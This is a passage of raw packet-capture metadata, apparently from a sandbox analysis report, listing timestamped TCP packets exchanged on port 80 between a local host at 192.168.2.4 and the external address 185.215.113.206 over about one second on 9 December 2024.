Dec 9, 2024 20:27:30.897891045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.898010015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.898164034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.898215055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.898988008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.899049997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.899059057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.899171114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.899863958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.899910927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.899930954 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.900032997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.900862932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.900954962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.901011944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.901885033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.901945114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.901993036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.902174950 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.902893066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.902945042 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.903049946 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.903875113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.903935909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.903986931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.904031038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.904911041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.904969931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.904983997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.905194044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.905862093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.905919075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.906001091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.906048059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.906868935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.907015085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.907078028 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.907187939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.907840014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.907891989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.908087015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.908148050 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.908868074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.908950090 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.909029007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.909857988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.909904003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.909939051 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.910072088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.910856962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.911077023 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.911147118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.911185980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.911847115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.911907911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.911912918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.911953926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.912858009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.913026094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.913184881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.913877010 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.914036036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.914103031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.914870024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.915025949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.915091038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.916204929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.916218042 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.916316986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.917032957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.917047977 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.917089939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.917848110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.917898893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.917910099 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.917946100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.918894053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.918967009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.918972015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.919022083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.919982910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.920069933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.920097113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.920125008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.006350994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.006419897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.006477118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.006659031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.006812096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.006859064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.006932974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.006980896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.007819891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.007894039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.008891106 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.008950949 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.063852072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.063934088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.064055920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.064344883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.064404011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.064551115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.065329075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.065385103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.065407991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.066327095 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.066397905 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.066454887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.067306995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.067308903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.067467928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.067522049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.068314075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.068429947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.068480968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.069308996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.069380045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.069447041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.070338011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.070440054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.070491076 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.071306944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.071417093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.072319984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.072386026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.072388887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.073328972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.073386908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.073472023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.074389935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.074444056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.074450016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.075304985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.075346947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.075488091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.075537920 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.076500893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.076594114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.076600075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.076719999 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.077480078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.077541113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.077569008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.077634096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.078452110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.078526974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.078578949 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.079391956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.079543114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.079611063 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.080307961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.080475092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.080523014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.081427097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.081482887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.081511974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.081765890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.082468987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.082674026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.082788944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.082828045 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.083404064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.083523989 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.083581924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.084409952 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.084620953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.085633993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.085707903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.085783005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.086404085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.086458921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.086486101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.087311029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.087331057 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.087418079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.087465048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.088243961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.088356972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.088404894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.089303017 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.089361906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.089379072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.089420080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.090892076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.091098070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.091155052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.091515064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.091634989 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.091789961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.092390060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.092502117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.093290091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.093341112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.093457937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.094197989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.094707966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.094842911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.095340014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.095441103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.095619917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.095669031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.096443892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.096544027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.096590996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.097259045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.097460985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.098289013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.098340034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.098428011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.099234104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.099286079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.099301100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.100253105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.100301981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.100438118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.101279020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.101329088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.101392031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.101537943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.102241039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.102289915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.103315115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.240221977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.359548092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.681785107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.681852102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.682090998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.682142019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.682219982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.682279110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.683113098 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.683219910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.683330059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.683873892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.684087038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.684139013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.684952974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.685045004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.685096025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.685789108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.685930967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.685978889 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.686866045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.686975956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.687024117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.687863111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.687918901 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.688842058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.688918114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.688925028 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.689840078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.689897060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.690149069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.690788031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.690840006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.690875053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.691303015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.691842079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.691915989 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.691978931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.692801952 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.692893982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.692975044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.693818092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.693928003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.694009066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.694870949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.694940090 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.695019007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.695785999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.695938110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.696796894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.696883917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.696945906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.697977066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.698048115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.698189974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.698877096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.698890924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.698962927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.698980093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.699975967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.699989080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.700050116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.700891018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.700958014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.701071978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.701754093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.701834917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.701889992 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.702744961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.702939987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.702963114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.703320980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.703768015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.703838110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.703905106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.704749107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.704833031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.704900026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.705749035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.705884933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.706823111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.706882954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.707026005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.707315922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.707767963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.707865000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.707910061 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.708805084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.708901882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.708946943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.709772110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.709965944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.710036039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.710803986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.710916996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.710963964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.711744070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.711838007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.712718964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.712781906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.712830067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.713738918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.713793039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.713807106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.714734077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.714781046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.714922905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.715311050 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.715763092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.715965033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.716016054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.716767073 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.716938019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.716986895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.717744112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.717801094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.717854023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.717931032 CET	49740	80	192.168.2.4	185.215.113.206
